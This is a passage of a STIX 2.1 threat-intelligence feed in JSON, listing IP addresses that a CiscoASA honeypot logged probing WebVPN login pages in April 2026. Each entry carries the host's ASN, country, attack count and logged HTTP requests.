      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-16T03:16:15.790Z",
          "last_seen": "2026-04-16T03:16:15.790Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--6f224ce9-fdf1-4d93-a9b3-dd8c16de3a17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-16T03:18:13.183Z",
          "last_seen": "2026-04-16T03:18:13.183Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--47950095-a5a3-46cd-990a-c2798194f0d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-16T03:18:15.461Z",
          "last_seen": "2026-04-16T03:18:15.461Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--8983a4a0-54a7-4fb1-a51f-04504dfc8c8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-16T03:14:33.775Z",
          "last_seen": "2026-04-16T03:14:33.775Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--e07dc3b9-994f-430a-9b62-5540af0e80cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-16T04:08:24.583Z",
          "last_seen": "2026-04-28T06:00:17.665Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--0a749fbf-b7c5-45c3-bb4b-64a44d8cdd47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-16T03:29:43.907Z",
          "last_seen": "2026-04-24T03:25:46.697Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--2220685f-3ca6-4847-895c-0e2affd6baef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-16T04:14:56.952Z",
          "last_seen": "2026-04-16T04:15:06.819Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5f9be269-3330-476f-9761-f19a935139c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-16T04:18:05.106Z",
          "last_seen": "2026-04-29T21:22:00.304Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4928e41a-912e-4b43-85f9-3ae2a3116150",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 20,
          "first_seen": "2026-04-11T03:27:38.933Z",
          "last_seen": "2026-04-27T16:50:43.237Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--81a0e43c-a8b7-444b-aa4e-ec24e5cb0055",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 26,
          "first_seen": "2026-04-16T03:56:51.449Z",
          "last_seen": "2026-04-29T18:44:06.078Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--3fadb1eb-937e-48d6-9004-0e3a5d73f073",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-16T03:54:58.661Z",
          "last_seen": "2026-04-23T05:55:22.143Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "code 505",
            "\"GET /version HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--8f721b55-ee1f-4ef0-a2cd-0648da02122b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 25,
          "first_seen": "2026-04-16T03:40:20.507Z",
          "last_seen": "2026-04-29T20:28:16.327Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--08d96a35-83b9-4a32-b92a-e57575280fb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:20:11.000Z",
      "valid_until": "2026-05-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-16T03:20:30.869Z",
          "last_seen": "2026-04-16T03:20:30.869Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--e44d1976-bcce-4477-b691-6c9e73234ce2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-16T04:47:20.733Z",
          "last_seen": "2026-04-27T11:29:33.440Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--e4ea3eff-b683-4182-9d5e-e8c4b9b79983",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T22:19:08.732Z",
          "last_seen": "2026-04-28T05:56:32.809Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9cc084b4-1526-4dad-a5cd-89ab68e51d5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T04:33:08.731Z",
          "last_seen": "2026-04-29T16:21:29.235Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7c34593b-206e-427c-9e23-69d3bfceadc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T04:51:00.849Z",
          "last_seen": "2026-04-18T12:58:10.637Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--35ac5965-8eaf-473e-9531-994f9c831965",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-16T04:21:14.808Z",
          "last_seen": "2026-04-27T11:16:22.626Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ad4ef91a-125f-4690-841a-9c93c899277e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-16T05:08:37.608Z",
          "last_seen": "2026-04-29T22:05:21.719Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dc876ebe-b5c2-4242-a534-0a6c4a804664",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-16T05:19:20.397Z",
          "last_seen": "2026-04-29T15:21:44.412Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7c769841-b02d-4243-ab6d-0189ce77ce6b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:20:11.000Z",
      "valid_until": "2026-05-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-16T04:32:08.406Z",
          "last_seen": "2026-04-29T22:58:07.206Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
